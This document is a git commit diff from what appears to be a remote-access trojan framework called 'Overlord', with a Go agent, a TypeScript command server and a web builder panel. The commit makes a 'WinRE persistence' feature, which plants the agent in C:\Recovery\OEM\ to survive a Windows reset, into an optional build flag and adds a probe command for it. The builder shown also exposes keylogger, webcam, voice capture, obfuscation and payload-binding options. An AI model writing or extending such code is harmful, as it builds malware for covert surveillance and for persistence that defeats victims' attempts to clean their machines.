optional winre and winre probe
This commit is contained in:
@@ -2392,6 +2392,11 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
|
||||
case "winre_probe":
|
||||
if !WinRESupported() {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "WinRE persistence is not enabled on this client"})
|
||||
}
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
|
||||
case "winre_uninstall":
|
||||
if err := handleWinREUninstall(ctx, env, cmdID); err != nil {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//go:build !windows
|
||||
// +build !windows
|
||||
//go:build !windows || !overlord_winre
|
||||
// +build !windows !overlord_winre
|
||||
|
||||
package handlers
|
||||
|
||||
@@ -11,9 +11,13 @@ import (
|
||||
)
|
||||
|
||||
func handleWinREInstall(ctx context.Context, env *runtime.Env, cmdID string, filePath string, useSelf bool) error {
|
||||
return fmt.Errorf("WinRE persistence is only supported on Windows")
|
||||
return fmt.Errorf("WinRE persistence is not enabled on this client")
|
||||
}
|
||||
|
||||
func handleWinREUninstall(ctx context.Context, env *runtime.Env, cmdID string) error {
|
||||
return fmt.Errorf("WinRE persistence is only supported on Windows")
|
||||
return fmt.Errorf("WinRE persistence is not enabled on this client")
|
||||
}
|
||||
|
||||
func WinRESupported() bool {
|
||||
return false
|
||||
}
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//go:build windows
|
||||
// +build windows
|
||||
//go:build windows && overlord_winre
|
||||
// +build windows,overlord_winre
|
||||
|
||||
package handlers
|
||||
|
||||
@@ -312,3 +312,7 @@ func handleWinREUninstall(ctx context.Context, env *runtime.Env, cmdID string) e
|
||||
}
|
||||
return uninstallWinREPersistence()
|
||||
}
|
||||
|
||||
func WinRESupported() bool {
|
||||
return true
|
||||
}
|
||||
|
||||
@@ -141,6 +141,7 @@ function collectFormSettings() {
|
||||
noPrinting: document.querySelector('input[name="no-printing"]')?.checked ?? false,
|
||||
enableKeylogger: document.querySelector('input[name="enable-keylogger"]')?.checked ?? true,
|
||||
enableWebrtc: document.querySelector('input[name="enable-webrtc"]')?.checked ?? false,
|
||||
enableWinRE: document.querySelector('input[name="enable-winre"]')?.checked ?? false,
|
||||
fetchPublicIP: document.querySelector('input[name="fetch-public-ip"]')?.checked ?? false,
|
||||
obfuscate: document.querySelector('input[name="obfuscate"]')?.checked ?? false,
|
||||
garbleLiterals: document.querySelector('input[name="garble-literals"]')?.checked ?? false,
|
||||
@@ -205,6 +206,7 @@ function applyFormSettings(settings) {
|
||||
if (settings.noPrinting !== undefined) setCb('input[name="no-printing"]', settings.noPrinting);
|
||||
if (settings.enableKeylogger !== undefined) setCb('input[name="enable-keylogger"]', settings.enableKeylogger);
|
||||
if (settings.enableWebrtc !== undefined) setCb('input[name="enable-webrtc"]', settings.enableWebrtc);
|
||||
if (settings.enableWinRE !== undefined) setCb('input[name="enable-winre"]', settings.enableWinRE);
|
||||
if (settings.fetchPublicIP !== undefined) setCb('input[name="fetch-public-ip"]', settings.fetchPublicIP);
|
||||
if (settings.obfuscate !== undefined) setCb('input[name="obfuscate"]', settings.obfuscate);
|
||||
if (settings.garbleLiterals !== undefined) setCb('input[name="garble-literals"]', settings.garbleLiterals);
|
||||
@@ -1411,6 +1413,7 @@ form?.addEventListener("submit", async (e) => {
|
||||
noPrinting,
|
||||
disableKeylogger: !enableKeylogger,
|
||||
enableWebrtc: form.querySelector('input[name="enable-webrtc"]')?.checked || false,
|
||||
enableWinRE: form.querySelector('input[name="enable-winre"]')?.checked || false,
|
||||
fetchPublicIP: form.querySelector('input[name="fetch-public-ip"]')?.checked || false,
|
||||
outputName: outputNameVal || undefined,
|
||||
garbleLiterals: obfuscate ? garbleLiterals : undefined,
|
||||
|
||||
@@ -12,7 +12,7 @@ const ALL_PER_CLIENT_ACTIONS = [
|
||||
{ key: "webcam", feature: "webcam", label: "Webcam", icon: "fa-camera", color: "text-pink-400", href: (id) => `/webcam?clientId=${id}` },
|
||||
{ key: "voice", feature: "voice", label: "Voice", icon: "fa-microphone", color: "text-indigo-400", href: (id) => `/voice?clientId=${id}` },
|
||||
{ key: "deploy", feature: null, label: "Deploy", icon: "fa-rocket", color: "text-rose-400", href: (id) => `/deploy?clientId=${id}` },
|
||||
{ key: "winre", feature: null, label: "WinRE", icon: "fa-shield-halved",color: "text-amber-400", href: (id) => `/winre?clientId=${id}` },
|
||||
{ key: "winre", feature: null, label: "WinRE", icon: "fa-shield-halved",color: "text-amber-400", href: (id) => `/winre?clientId=${id}`, windowsOnly: true },
|
||||
];
|
||||
|
||||
let featurePermsCache = null;
|
||||
@@ -30,10 +30,20 @@ async function loadFeaturePerms() {
|
||||
}
|
||||
}
|
||||
|
||||
function PER_CLIENT_ACTIONS() {
|
||||
function clientSupportsAction(client, action) {
|
||||
if (!action.windowsOnly) return true;
|
||||
const isWindows = (client?.os || "").toLowerCase().includes("windows");
|
||||
if (!isWindows) return false;
|
||||
return true;
|
||||
}
|
||||
|
||||
function PER_CLIENT_ACTIONS(client) {
|
||||
const perms = featurePermsCache;
|
||||
if (!perms) return ALL_PER_CLIENT_ACTIONS;
|
||||
return ALL_PER_CLIENT_ACTIONS.filter((a) => !a.feature || perms[a.feature] !== false);
|
||||
return ALL_PER_CLIENT_ACTIONS.filter((a) => {
|
||||
if (a.windowsOnly && client && !clientSupportsAction(client, a)) return false;
|
||||
if (a.feature && perms && perms[a.feature] === false) return false;
|
||||
return true;
|
||||
});
|
||||
}
|
||||
|
||||
const RECENT_KEY = "cmdp_recent_v1";
|
||||
@@ -143,7 +153,7 @@ function buildResults(query, pages, clients) {
|
||||
}
|
||||
}
|
||||
|
||||
for (const a of PER_CLIENT_ACTIONS()) {
|
||||
for (const a of PER_CLIENT_ACTIONS(null)) {
|
||||
const sc = score(query, a.label);
|
||||
if (sc > 0) results.push({ kind: "action", action: a, _score: sc });
|
||||
}
|
||||
@@ -280,6 +290,7 @@ async function rebuild() {
|
||||
const action = state.pendingAction;
|
||||
const matched = clients
|
||||
.map((c) => ({ c, sc: rankBest(state.query, [c.nickname, c.host, c.id, c.os, c.country].filter(Boolean)) + (c.online ? 30 : 0) }))
|
||||
.filter(({ c }) => clientSupportsAction(c, action))
|
||||
.filter((x) => x.sc > 0 || !state.query)
|
||||
.sort((a, b) => b.sc - a.sc)
|
||||
.slice(0, 60)
|
||||
@@ -331,7 +342,7 @@ function activate(idx, newTab) {
|
||||
if (r.kind === "client") {
|
||||
state.mode = "actions-for-client";
|
||||
state.pendingClient = r.client;
|
||||
state.results = PER_CLIENT_ACTIONS().map((a) => ({ kind: "client-action", client: r.client, action: a, _score: 0 }));
|
||||
state.results = PER_CLIENT_ACTIONS(r.client).map((a) => ({ kind: "client-action", client: r.client, action: a, _score: 0 }));
|
||||
state.active = 0;
|
||||
const input = document.getElementById("cmdp-input");
|
||||
if (input) { input.value = ""; input.placeholder = `Action on ${clientLabel(r.client)}…`; input.focus(); }
|
||||
@@ -370,7 +381,7 @@ async function open() {
|
||||
if (state.mode === "actions-for-client" && state.pendingClient) {
|
||||
const q = state.query.toLowerCase();
|
||||
const c = state.pendingClient;
|
||||
state.results = PER_CLIENT_ACTIONS()
|
||||
state.results = PER_CLIENT_ACTIONS(c)
|
||||
.map((a) => ({ a, sc: score(q, a.label) }))
|
||||
.filter((x) => x.sc > 0 || !q)
|
||||
.sort((a, b) => b.sc - a.sc)
|
||||
|
||||
@@ -377,9 +377,10 @@ function applyMenuSupportRules(clientId) {
|
||||
|
||||
const winreBtn = menu.querySelector('[data-open="winre"]');
|
||||
if (winreBtn) {
|
||||
setAvailability(winreBtn, isOnline && isWindows, isOnline ? "WinRE Persistence is only supported on Windows clients." : "Client is offline");
|
||||
const label = winreBtn.querySelector("span");
|
||||
if (label) label.style.textDecoration = isWindows ? "" : "line-through";
|
||||
winreBtn.style.display = isWindows ? "" : "none";
|
||||
if (isWindows) {
|
||||
setAvailability(winreBtn, isOnline, "Client is offline");
|
||||
}
|
||||
}
|
||||
|
||||
const elevateBtn = menu.querySelector('[data-action="elevate"]');
|
||||
|
||||
@@ -31,7 +31,7 @@ const MENU_GROUPS = [
|
||||
items: [
|
||||
{ label: "File Browser", icon: "fa-solid fa-folder-tree", icolor: "text-blue-400", open: "files" },
|
||||
{ label: "Execution", icon: "fa-solid fa-rocket", icolor: "text-cyan-400", open: "silent-exec", id: "menu-silent-exec", hidden: true },
|
||||
{ label: "WinRE Persist", icon: "fa-solid fa-shield-halved", icolor: "text-amber-400", open: "winre" },
|
||||
{ label: "WinRE Persist", icon: "fa-solid fa-shield-halved", icolor: "text-amber-400", open: "winre", windowsOnly: true },
|
||||
],
|
||||
},
|
||||
{
|
||||
|
||||
@@ -279,6 +279,12 @@ async function uploadFile(file) {
|
||||
}
|
||||
|
||||
function renderResults(results, actionLabel) {
|
||||
const reasonLabels = {
|
||||
not_enabled: "WinRE persistence is not enabled on this client",
|
||||
unsupported: "WinRE persistence is not enabled on this client",
|
||||
windows_only: "WinRE is only supported on Windows clients",
|
||||
offline: "Client is offline",
|
||||
};
|
||||
const namedResults = results.map((r) => {
|
||||
const client = allClients.find((c) => c.id === r.clientId);
|
||||
const clientName = client ? client.host || r.clientId.substring(0, 8) : r.clientId.substring(0, 8);
|
||||
@@ -286,7 +292,7 @@ function renderResults(results, actionLabel) {
|
||||
return { clientName, clientId: r.clientId, error: r.error };
|
||||
}
|
||||
if (r.ok === false) {
|
||||
return { clientName, clientId: r.clientId, error: r.reason || `${actionLabel} failed` };
|
||||
return { clientName, clientId: r.clientId, error: reasonLabels[r.reason] || r.reason || `${actionLabel} failed` };
|
||||
}
|
||||
return { clientName, clientId: r.clientId, output: `${actionLabel} dispatched` };
|
||||
});
|
||||
|
||||
@@ -500,6 +500,16 @@
|
||||
</div>
|
||||
</label>
|
||||
|
||||
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-amber-500 transition-colors">
|
||||
<input type="checkbox" name="enable-winre" class="w-4 h-4" />
|
||||
<div class="flex flex-col">
|
||||
<span class="flex items-center gap-2">
|
||||
<i class="fa-solid fa-shield-halved text-amber-400"></i> WinRE Persistence
|
||||
</span>
|
||||
<span class="text-xs text-slate-500">Compile WinRE persistence support into the agent (Windows only). Allows planting the agent into <code>C:\Recovery\OEM\</code> to survive a Windows push reset. Not included in macOS/Linux builds regardless of this setting.</span>
|
||||
</div>
|
||||
</label>
|
||||
|
||||
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-amber-500 transition-colors">
|
||||
<input type="checkbox" name="fetch-public-ip" class="w-4 h-4" />
|
||||
<div class="flex flex-col">
|
||||
|
||||
@@ -50,6 +50,7 @@ export type BuildConfig = {
|
||||
criticalProcess?: boolean;
|
||||
disableKeylogger?: boolean;
|
||||
enableWebrtc?: boolean;
|
||||
enableWinRE?: boolean;
|
||||
fetchPublicIP?: boolean;
|
||||
uploadToFileShare?: boolean;
|
||||
};
|
||||
|
||||
@@ -473,6 +473,7 @@ async function startServer() {
|
||||
winre: {
|
||||
WINRE_ROOT,
|
||||
winreUploads,
|
||||
pendingCommandReplies,
|
||||
},
|
||||
fileDownload: {
|
||||
DATA_DIR,
|
||||
|
||||
@@ -130,6 +130,7 @@ export type CommandType =
|
||||
| "uninstall"
|
||||
| "elevate"
|
||||
| "file_upload_http"
|
||||
| "winre_probe"
|
||||
| "winre_install"
|
||||
| "winre_uninstall"
|
||||
| "file_icon"
|
||||
|
||||
@@ -90,6 +90,7 @@ type BuildProcessConfig = {
|
||||
noPrinting?: boolean;
|
||||
disableKeylogger?: boolean;
|
||||
enableWebrtc?: boolean;
|
||||
enableWinRE?: boolean;
|
||||
builtByUserId?: number;
|
||||
outputName?: string;
|
||||
garbleLiterals?: boolean;
|
||||
@@ -1059,6 +1060,7 @@ func runBoundFiles() {
|
||||
if (config.noPrinting) baseTags.push("noprint");
|
||||
if (config.disableKeylogger) baseTags.push("nokeylogger");
|
||||
if (config.enableWebrtc) baseTags.push("overlord_webrtc");
|
||||
if (config.enableWinRE && os === "windows") baseTags.push("overlord_winre");
|
||||
if (hasBoundFiles) baseTags.push("hasbinder");
|
||||
if (isIosTarget) baseTags.push("ios_target");
|
||||
if (config.shellcodeConsole && isShellcodeMode && os === "windows") baseTags.push("shellcode_console");
|
||||
|
||||
@@ -107,6 +107,7 @@ export async function handleBuildRoutes(
|
||||
criticalProcess,
|
||||
disableKeylogger,
|
||||
enableWebrtc,
|
||||
enableWinRE,
|
||||
outputExtension,
|
||||
sleepSeconds,
|
||||
boundFiles,
|
||||
@@ -390,6 +391,7 @@ export async function handleBuildRoutes(
|
||||
criticalProcess: safeCriticalProcess,
|
||||
disableKeylogger: !!disableKeylogger,
|
||||
enableWebrtc: !!enableWebrtc,
|
||||
enableWinRE: !!enableWinRE,
|
||||
outputExtension: safeOutputExtension,
|
||||
sleepSeconds: safeSleepSeconds,
|
||||
boundFiles: safeBoundFiles,
|
||||
|
||||
@@ -20,11 +20,52 @@ type WinREUpload = {
|
||||
size: number;
|
||||
};
|
||||
|
||||
type PendingCommandReply = {
|
||||
resolve: (result: { ok: boolean; message?: string }) => void;
|
||||
reject: (error: Error) => void;
|
||||
timeout: NodeJS.Timeout;
|
||||
clientId: string;
|
||||
};
|
||||
|
||||
type WinRERouteDeps = {
|
||||
WINRE_ROOT: string;
|
||||
winreUploads: Map<string, WinREUpload>;
|
||||
pendingCommandReplies: Map<string, PendingCommandReply>;
|
||||
};
|
||||
|
||||
function isWindowsClient(target: any): boolean {
|
||||
const clientOs = (target?.os || "").toLowerCase();
|
||||
return clientOs.includes("windows");
|
||||
}
|
||||
|
||||
async function probeWinRE(deps: WinRERouteDeps, target: any, clientId: string): Promise<{ ok: boolean; reason?: string; message?: string }> {
|
||||
const cmdId = uuidv4();
|
||||
const replyPromise: Promise<{ ok: boolean; message?: string }> = new Promise((resolve, reject) => {
|
||||
const timeout = setTimeout(() => {
|
||||
deps.pendingCommandReplies.delete(cmdId);
|
||||
reject(new Error("WinRE support probe timed out"));
|
||||
}, 15_000);
|
||||
deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout, clientId });
|
||||
});
|
||||
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "winre_probe",
|
||||
id: cmdId,
|
||||
}),
|
||||
);
|
||||
|
||||
try {
|
||||
const result = await replyPromise;
|
||||
return result.ok
|
||||
? { ok: true }
|
||||
: { ok: false, reason: "not_enabled", message: result.message || "WinRE persistence is not enabled on this client" };
|
||||
} catch (error: any) {
|
||||
return { ok: false, reason: "probe_failed", message: error.message || "WinRE support probe failed" };
|
||||
}
|
||||
}
|
||||
|
||||
export async function handleWinRERoutes(
|
||||
req: Request,
|
||||
url: URL,
|
||||
@@ -109,7 +150,7 @@ export async function handleWinRERoutes(
|
||||
return new Response("Not found", { status: 404 });
|
||||
}
|
||||
|
||||
const results: Array<{ clientId: string; ok: boolean; reason?: string }> = [];
|
||||
const results: Array<{ clientId: string; ok: boolean; reason?: string; error?: string }> = [];
|
||||
|
||||
for (const clientId of clientIds) {
|
||||
const target = clientManager.getClient(clientId);
|
||||
@@ -118,12 +159,17 @@ export async function handleWinRERoutes(
|
||||
continue;
|
||||
}
|
||||
|
||||
const clientOs = (target.os || "").toLowerCase();
|
||||
if (!clientOs.includes("windows")) {
|
||||
if (!isWindowsClient(target)) {
|
||||
results.push({ clientId, ok: false, reason: "windows_only" });
|
||||
continue;
|
||||
}
|
||||
|
||||
const probe = await probeWinRE(deps, target, clientId);
|
||||
if (!probe.ok) {
|
||||
results.push({ clientId, ok: false, reason: probe.reason, error: probe.message });
|
||||
continue;
|
||||
}
|
||||
|
||||
const destDir = `C:\\Windows\\Temp\\Overlord\\winre_${upload.id}`;
|
||||
const destPath = `${destDir}\\${upload.name}`;
|
||||
|
||||
@@ -195,7 +241,7 @@ export async function handleWinRERoutes(
|
||||
return new Response("Bad request", { status: 400 });
|
||||
}
|
||||
|
||||
const results: Array<{ clientId: string; ok: boolean; reason?: string }> = [];
|
||||
const results: Array<{ clientId: string; ok: boolean; reason?: string; error?: string }> = [];
|
||||
|
||||
for (const clientId of clientIds) {
|
||||
const target = clientManager.getClient(clientId);
|
||||
@@ -204,12 +250,17 @@ export async function handleWinRERoutes(
|
||||
continue;
|
||||
}
|
||||
|
||||
const clientOs = (target.os || "").toLowerCase();
|
||||
if (!clientOs.includes("windows")) {
|
||||
if (!isWindowsClient(target)) {
|
||||
results.push({ clientId, ok: false, reason: "windows_only" });
|
||||
continue;
|
||||
}
|
||||
|
||||
const probe = await probeWinRE(deps, target, clientId);
|
||||
if (!probe.ok) {
|
||||
results.push({ clientId, ok: false, reason: probe.reason, error: probe.message });
|
||||
continue;
|
||||
}
|
||||
|
||||
const cmdId = uuidv4();
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
@@ -261,7 +312,7 @@ export async function handleWinRERoutes(
|
||||
return new Response("Bad request", { status: 400 });
|
||||
}
|
||||
|
||||
const results: Array<{ clientId: string; ok: boolean; reason?: string }> = [];
|
||||
const results: Array<{ clientId: string; ok: boolean; reason?: string; error?: string }> = [];
|
||||
|
||||
for (const clientId of clientIds) {
|
||||
const target = clientManager.getClient(clientId);
|
||||
@@ -270,12 +321,17 @@ export async function handleWinRERoutes(
|
||||
continue;
|
||||
}
|
||||
|
||||
const clientOs = (target.os || "").toLowerCase();
|
||||
if (!clientOs.includes("windows")) {
|
||||
if (!isWindowsClient(target)) {
|
||||
results.push({ clientId, ok: false, reason: "windows_only" });
|
||||
continue;
|
||||
}
|
||||
|
||||
const probe = await probeWinRE(deps, target, clientId);
|
||||
if (!probe.ok) {
|
||||
results.push({ clientId, ok: false, reason: probe.reason, error: probe.message });
|
||||
continue;
|
||||
}
|
||||
|
||||
const cmdId = uuidv4();
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
|
||||
Reference in New Issue
Block a user